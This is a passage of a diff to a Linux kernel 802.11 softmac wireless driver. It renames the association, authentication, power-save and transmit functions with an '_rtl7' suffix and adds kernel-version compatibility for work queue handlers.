rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - 